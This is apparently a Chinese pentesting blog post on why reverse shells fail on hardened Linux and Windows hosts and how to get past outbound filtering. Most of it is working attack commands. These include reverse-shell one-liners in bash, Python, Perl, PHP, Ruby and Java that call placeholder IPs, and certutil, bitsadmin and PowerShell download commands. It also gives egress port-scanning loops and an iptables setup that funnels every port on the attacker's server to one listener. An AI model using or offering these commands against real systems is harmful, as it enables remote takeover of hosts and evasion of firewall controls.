Loading

反弹shell失败的原因

reverse_shell失败

常规反弹方法失效,curl了一下百度,可以访问(未限制出站ip),curl其他端口可以访问(可能未限制端口)。

这里应该限制了出站协议。

http协议可以出网,ICMP协议可以出网。

这里vps被封了。我们反弹时最好选择443端口或者80端口。

  • 反弹shell失败的原因有很多:

    • 反弹的命令不存在或当前用户无权限调用bash
    • 禁止出站IP(只允许访问特定ip)
    • 禁止出站端口(只允许访问特定端口)
    • 禁止出站协议(只允许特定协议,如icmpdnshttp)

反弹的命令不存在或当前用户无权限调用bash

由于这种情况下只局限于Linux,所以不考虑Windows

反弹shell的命令,尽管这么多命令可以反弹shell,但是最终都还是调用bash来反弹,如下:

#确认bash环境
whereis bash

#bash反弹
bash -i >& /dev/tcp/192.168.10.27/4444 0>&1
bash -c "bash -i >& /dev/tcp/192.168.0.189/6666 0>&1"	//sh的shell下用这条

#python反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.27",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

#Perl反弹
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

#PHP反弹
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3>&3 2>&3");'

#Ruby反弹
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'

#Java反弹
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 2="" |="" while="" read="" line;="" do="" \$line="">&5 >&5; done"] as String[]) p.waitFor()

禁止出站IP

基本无解,除非拿到该网段的其他机器配置端口转发才能反弹shell。

对于这种情况的话,就很麻烦了。如果目标主机设置了严格的策略,只允许主动连接公网指定的IP。这样的话,就没办法反弹shell了。

禁止出站协议

探测HTTP协议

Linux系统可以使用curl命令:
    curl http://192.168.10.13
Windows系统可以使用以下命令:
    certutil -urlcache -split -f http://192.168.10.13/1
    bitsadmin /transfer test http://192.168.10.13/1 c:\1
    powershell iwr -Uri http://192.168.10.13/1 -OutFile 1 -UseBasicParsing

探测icmp协议

#tcpdump
sudo tcpdump icmp

#tshark,建议用这条
sudo apt install tshark	#允许非root用户捕获数据包
sudo tshark -i eth0 -f "icmp"

探测DNS协议

Windows:nslookup、ping
Linux:nslookup、dig、ping

通过判断能否将域名解析为ip,判断DNS协议是否出网。也可以将域名换成dnslog的域名,再看dnslog能否收到请求

禁止出站端口

如果防火墙上做了限制,只允许该服务器访问公网地址的特定端口。那么,这样的话,我们就必须得找到允许访问的端口了。

这里有一篇文章对这个讲的很好,传送门:照弹不误:出站端口受限环境下反弹Shell的思考

以下是该文的一些思路

Linux系统

对于Linux系统,探测其允许出网的端口,这里使用的是Linux的自带命令,所以适用于每个Linux版本。

#探测指定范围
for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i [+]Open[+]" || echo "$i closed";done
 
#也可以将结果写入文件中
for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i [+]Open[+]"|| echo "$i closed";done >> result.txt
 
#探测常见出网端口
for i in {21,22,23,25,53,80,88,110,137,138,139,123,143,389,443,445,161,1521,3306,3389,6379,7001,7002,8000,8001,8080,8090,9000,9090,11211};do timeout 0.5 bash -c "echo >/dev/tcp/baidu.com/$i" && echo "$i [+]Open[+]" || echo "$i closed";done

Windows系统

#探测端口范围
powershell -c "440..445 | %{tnc -InformationLevel Quiet 220.181.38.148 -port $_}"
#指定端口
powershell -c "53,80,443 | %{tnc -InformationLevel Quiet 220.181.38.148 -port $_}"
 
#或者
 
powershell -c "80,81 | %{try {(new-object Net.Sockets.TcpClient).Connect('220.181.38.148',$_);Write-Host "$_ open"} catch {Write-Host "$_ closed"} finally {} }"|findstr /I open

探测的端口范围

可以根据nmap的端口范围探测

nmap -n --top-ports 100 127.0.0.1 -oA foo > /dev/null
grep -i "services\=" foo.xml | sed -r 's/.*services\=\"(.*)(\"\/>)/\1/g'

攻击端的端口请求记录

我们攻击端这边需要有目标机访问的记录,才能更好的判断目标机器是否访问了我们。这样,只要目标机器访问到了我们VPS的任意一个端口,我们这边都能有记录。

#第一步需要关闭vps防火墙

#备份iptables规则
iptables-save > /tmp/firewall.rules

#将所有端口的流量都转发到34444端口
#实际操作时,排除 [1, 1024] 间的系统分配的端口,只捆绑 [1025, 65536] 的端口。还要排除掉反弹shell的端口。所以尽量缩小范围
iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 34444

#监听34444端口
nc -lvnp 34444
#恢复iptables规则
iptables-restore < /tmp/firewall.rules

写在最后

如果环境允许,再结合结合 MSF 的 reverse_tcp_allports 载荷,甚至可以省去找寻有效端口的步骤,直接反弹 shell。

posted @ 2024-04-30 21:02  _rainyday  阅读(202)  评论(0编辑  收藏  举报